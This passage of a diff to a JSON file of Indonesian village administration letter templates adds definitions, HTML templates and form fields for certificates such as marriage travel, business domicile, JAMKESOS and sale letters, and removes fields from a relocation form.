datang)\"],\"kode_isian_terkait\":[\"Jenis Permohonan\"]}]" - }, + "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan Pergi Kawin", + "url_surat": "surat-keterangan-pergi-kawin", + "kode_surat": "S-30", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nTujuan<\/td>\r\n:<\/td>\r\n[Form_tujuaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] sampai dengan [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": null, + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "info": "", + "hubungan": null + } + }, + "kode_isian": [ { - "tipe": "select-manual", - "kode": "[form_jenis_permohonan]", - "nama": "Jenis Permohonan", - "deskripsi": "Pilih Jenis Permohonan", + "tipe": "text", + "kode": "[form_tujuan]", + "nama": "Tujuan", + "deskripsi": "Masukkan Tujuan", "required": "1", "atribut": null, - "pilihan": [ - "SURAT KETERANGAN KEPENDUDUKAN", - "SURAT KETERANGAN PINDAH", - "SURAT KETERANGAN PINDAH LUAR NEGERI (SKPLN)", - "SURAT KETERANGAN TEMPAT TINGGAL (SKTT)", - "BAGI ORANG ASING TINGGAL TERBATAS" - ], + "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", - "kaitkan_kode": "[{\"nilai_isian\":[\"SURAT KETERANGAN TEMPAT TINGGAL (SKTT)\"],\"kode_isian_terkait\":[\"Nama Sponsor\",\"Tipe Sponsor\",\"Alamat Sponsor\",\"Nomor ITAS\",\"Tanggal ITAS\"],\"lampiran_terkait\":[]},{\"nilai_isian\":[\"SURAT KETERANGAN PINDAH LUAR NEGERI (SKPLN)\"],\"kode_isian_terkait\":[\"Negara Tujuan\",\"Kode Negara\",\"Alamat Tujuan Luar Negeri\",\"Penanggung Jawab\"],\"lampiran_terkait\":[]}]" + "kaitkan_kode": "" }, { - "tipe": "select-manual", - "kode": "[form_alasan_pindah]", - "nama": "Alasan Pindah", - "deskripsi": "Pilih Alasan Pindah", + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", "required": "1", "atribut": null, - "pilihan": [ - "PEKERJAAN", - "PENDIDIKAN", - "KEAMANAN", - "KESEHATAN", - "PERUMAHAN", - "KELUARGA", - "LAINNYA" - ], + "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", "kaitkan_kode": "" - }, + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Pernyataan Belum Memiliki Akta Lahir", + "url_surat": "surat-pernyataan-belum-memiliki-akta-lahir", + "kode_surat": "S-19", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Dengan orang tua:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n5.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[NaMa_ayah]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.<\/td>\r\nNIK \/ No. KTP Ayah<\/td>\r\n:<\/td>\r\n[Nik_ayah]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n7.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[NaMa_ibu]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n8.<\/td>\r\nNIK \/ No. KTP Ibu<\/td>\r\n:<\/td>\r\n[Nik_ibu]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Adalah benar-benar warga [SeButan_desa] [NaMa_desa] dan belum pernah memiliki Akta Kelahiran.<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya untuk dapat dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>\r\n ", + "template_desa": null, + "form_isian": { + "individu": { + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ] + } + }, + "kode_isian": [], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Keterangan Domisili Usaha", + "url_surat": "surat-keterangan-domisili-usaha", + "kode_surat": "S-16", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] yang memiliki usaha [Form_nama_usaha] di [AlamaT], [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten].

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1", + "3" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "info": "", + "hubungan": null + } + }, + "kode_isian": [ { - "tipe": "select-manual", - "kode": "[form_klasifikasi_pindah]", - "nama": "Klasifikasi Pindah", - "deskripsi": "Pilih Klasifikasi Pindah", - "required": "1", + "tipe": "text", + "kode": "[form_nama_usaha]", + "nama": "Nama Usaha", + "deskripsi": "Masukkan Nama \/ Jenis usaha", + "required": "0", "atribut": null, - "pilihan": [ - "DALAM SATU DESA\/KELURAHAN", - "ANTAR DESA\/KELURAHAN", - "ANTAR KECAMATAN", - "ANTAR KAB\/KOTA", - "ANTAR PROVINSI" - ], + "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", "kaitkan_kode": "" - }, + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan JAMKESOS", + "url_surat": "surat-keterangan-jamkesos", + "kode_surat": "S-15", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut adalah benar-benar warga [SeButan_desa] [NaMa_desa] dengan data seperti di atas, dari keluarga kurang mampu pemegang Kartu Peserta Jamkesos No. [form_no_kartu_jamkesos].<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": null, + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "info": "", + "hubungan": null + } + }, + "kode_isian": [ { "tipe": "text", - "kode": "[form_alamat_tujuan]", - "nama": "Alamat Tujuan", - "deskripsi": "Alamat Tujuan", + "kode": "[form_no_kartu_jamkesos]", + "nama": "No Kartu JAMKESOS", + "deskripsi": "Masukkan No. Kartu JAMKESOS", "required": "1", "atribut": null, "pilihan": null, @@ -250,49 +536,10 @@ "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_rt_tujuan]", - "nama": "RT Tujuan", - "deskripsi": "RT Tujuan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "RT\/RW\/Dusun Tujuan", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_rw_tujuan]", - "nama": "RW Tujuan", - "deskripsi": "RW Tujuan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "RT\/RW\/Dusun Tujuan", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_dusun_tujuan]", - "nama": "Dusun Tujuan", - "deskripsi": "Dusun Tujuan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "RT\/RW\/Dusun Tujuan", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_desa_atau_kelurahan_tujuan]", - "nama": "Desa atau Kelurahan Tujuan", - "deskripsi": "Desa atau Kelurahan Tujuan", + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", "required": "1", "atribut": null, "pilihan": null, @@ -300,263 +547,506 @@ "kolom": "", "label": "", "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan Jual Beli", + "url_surat": "surat-keterangan-jual-beli", + "kode_surat": "S-05", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Yang bersangkutan hendak menjual [Form_rincian_barang]. [Form_jenis_barang] tersebut tidak dalam sengketa dengan pihak lain sehingga dapat dijual kepada pihak ke dua yaitu:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pembeli]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nNomor Identitas<\/td>\r\n:<\/td>\r\n[Nik_pembelI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TeMpatlahir_pembeli], [Tanggallahir_pembelI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_pembeli]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlAmat_pembeli]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan_pembeli]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nKeterangan<\/td>\r\n:<\/td>\r\n[Form_keterangaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
Mengetahui,<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Ketua Adat [NaMa_desa]<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[Form_nama_ketua_adaT]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Identitas Penjual", + "info": "", + "hubungan": null }, - { - "tipe": "text", - "kode": "[form_kecamatan_tujuan]", - "nama": "Kecamatan Tujuan", - "deskripsi": "Kecamatan Tujuan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "Kec\/Kab\/Prop Tujuan", - "kaitkan_kode": "" + "barang": { + "sumber": "0", + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "6", + "9" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "judul": "Barang", + "label": "Barang Jual Beli", + "info": "", + "hubungan": "" }, + "pembeli": { + "sumber": "1", + "data": [ + "1", + "3" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "6", + "9" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "judul": "Pembeli", + "label": "Identitas Pembeli", + "info": "", + "hubungan": "" + } + }, + "kode_isian": [ { + "kategori": "barang", "tipe": "text", - "kode": "[form_kabupaten_tujuan]", - "nama": "Kabupaten Tujuan", - "deskripsi": "Kabupaten Tujuan", + "kode": "[form_jenis_barang]", + "nama": "Jenis Barang", + "deskripsi": "Jenis Barang", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Kec\/Kab\/Prop Tujuan", + "kolom": "", + "label": "Jenis Barang", "kaitkan_kode": "" }, { + "kategori": "barang", "tipe": "text", - "kode": "[form_provinsi_tujuan]", - "nama": "Provinsi Tujuan", - "deskripsi": "Provinsi Tujuan", + "kode": "[form_rincian_barang]", + "nama": "Rincian Barang", + "deskripsi": "Rincian Barang", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Kec\/Kab\/Prop Tujuan", + "kolom": "", + "label": "Rincian Barang", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_kode_pos_tujuan]", - "nama": "Kode Pos Tujuan", - "deskripsi": "Kode Pos Tujuan", - "required": "1", + "kategori": "pembeli", + "tipe": "textarea", + "kode": "[form_keterangan]", + "nama": "Keterangan", + "deskripsi": "Keterangan", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Kode Pos\/ Telpon", + "kolom": "", + "label": "Keterangan", "kaitkan_kode": "" }, { + "kategori": "pembeli", "tipe": "text", - "kode": "[form_telepon_tujuan]", - "nama": "Telepon Tujuan", - "deskripsi": "Telepon Tujuan", + "kode": "[form_nama_ketua_adat]", + "nama": "Nama Ketua Adat", + "deskripsi": "Nama Ketua Adat", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Kode Pos\/ Telpon", - "kaitkan_kode": "" - }, - { - "tipe": "select-manual", - "kode": "[form_jenis_kepindahan]", - "nama": "Jenis Kepindahan", - "deskripsi": "Pilih Jenis Kepindahan", - "required": "1", - "atribut": null, - "pilihan": [ - "KEP. KELUARGA", - "KEP. KELUARGA DAN SELURUH ANGG. KELUARGA", - "KEP. KELUARGA DAN SBG. ANGG. KELUARGA", - "ANGG. KELUARGA" - ], - "refrensi": null, - "kolom": "6", - "label": "", - "kaitkan_kode": "" - }, - { - "tipe": "select-manual", - "kode": "[form_status_kk_bagi_yang_tidak_pindah]", - "nama": "Status KK Bagi Yang Tidak Pindah", - "deskripsi": "Pilih Status KK Bagi Yang Tidak Pindah", - "required": "1", - "atribut": null, - "pilihan": [ - "NUMPANG KK", - "MEMBUAT KK BARU", - "TIDAK ADA ANGG. KELUARGA YANG DITINGGAL", - "NOMOR KK TETAP" - ], - "refrensi": null, - "kolom": "6", - "label": "", + "kolom": "", + "label": "Nama Ketua Adat", "kaitkan_kode": "" - }, + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan KTP dalam Proses", + "url_surat": "surat-keterangan-ktp-dalam-proses", + "kode_surat": "S-08", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + 